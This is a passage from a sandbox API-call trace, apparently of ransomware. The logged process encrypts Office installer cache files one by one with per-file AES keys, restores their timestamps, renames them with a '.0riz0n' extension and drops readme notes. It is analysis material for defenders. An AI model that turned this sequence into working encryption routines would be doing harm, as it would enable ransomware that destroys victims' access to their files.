Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0160.091] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.091] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.091] GetLastError () returned 0x2 [0160.091] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984688, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.091] GetLastError () returned 0x2 [0160.091] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.091] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.092] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xf) returned 0xa9d630 [0160.093] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x77284890, dwHighDateTime=0x1d59598)) returned 1 [0160.093] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.093] NtClose (Handle=0x1c0) returned 0x0 [0160.093] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b46270) returned 1 [0160.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.093] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.093] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0160.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.096] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.096] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.097] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.097] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0160.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.097] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.097] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe84c60d0, dwHighDateTime=0x1d301be)) returned 1 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.097] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.097] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.098] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.098] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.098] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xe00) returned 0xa58890 [0160.098] ReadFile (in: hFile=0x1c0, lpBuffer=0xa58890, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesRead=0x1a7fab0*=0xe00, lpOverlapped=0x0) returned 1 [0160.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xe00) returned 0x1b19ee0 [0160.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0160.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xe00) returned 0x1b1ace8 [0160.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b19ee0) returned 1 [0160.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1200) returned 0xa58890 [0160.100] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa58890*, pdwDataLen=0x1a7faac*=0xe00, dwBufLen=0x1200 | out: pbData=0xa58890*, pdwDataLen=0x1a7faac*=0xe10) returned 1 [0160.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xe40) returned 0x1b46270 [0160.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b1ace8) returned 1 [0160.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0160.100] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.100] WriteFile (in: hFile=0x1c0, lpBuffer=0x1b46270*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b46270*, lpNumberOfBytesWritten=0x1a7fab0*=0xe00, lpOverlapped=0x0) returned 1 [0160.100] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.104] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.104] NtClose (Handle=0x1c0) returned 0x0 [0160.104] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.0riz0n")) returned 1 [0160.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.105] GetLastError () returned 0x2 [0160.105] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9846a8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.105] GetLastError () returned 0x2 [0160.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.106] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.106] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0160.107] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x772aa9f0, dwHighDateTime=0x1d59598)) returned 1 [0160.107] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.107] NtClose (Handle=0x1c0) returned 0x0 [0160.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b46270) returned 1 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.108] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.108] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0160.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.108] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.108] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0160.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.109] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200)) returned 1 [0160.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.109] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.109] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfa160f00, dwHighDateTime=0x1d301be)) returned 1 [0160.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.109] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.109] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.109] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.110] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.110] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.110] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.110] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.110] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4200) returned 0x1c80020 [0160.110] ReadFile (in: hFile=0x1c0, lpBuffer=0x1c80020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1c80020*, lpNumberOfBytesRead=0x1a7fab0*=0xd4200, lpOverlapped=0x0) returned 1 [0160.130] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4200) returned 0x1d60020 [0160.142] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0160.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4200) returned 0x1c80020 [0160.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.250] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1d60020) returned 1 [0160.254] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4600) returned 0x1d60020 [0160.265] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1d60020*, pdwDataLen=0x1a7faac*=0xd4200, dwBufLen=0xd4600 | out: pbData=0x1d60020*, pdwDataLen=0x1a7faac*=0xd4210) returned 1 [0160.284] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4240) returned 0x2340020 [0160.296] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0160.300] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1d60020) returned 1 [0160.304] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.304] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xd4200, lpOverlapped=0x0) returned 1 [0160.307] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.381] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.381] NtClose (Handle=0x1c0) returned 0x0 [0160.382] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.0riz0n")) returned 1 [0160.382] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.382] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.382] GetLastError () returned 0x2 [0160.382] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 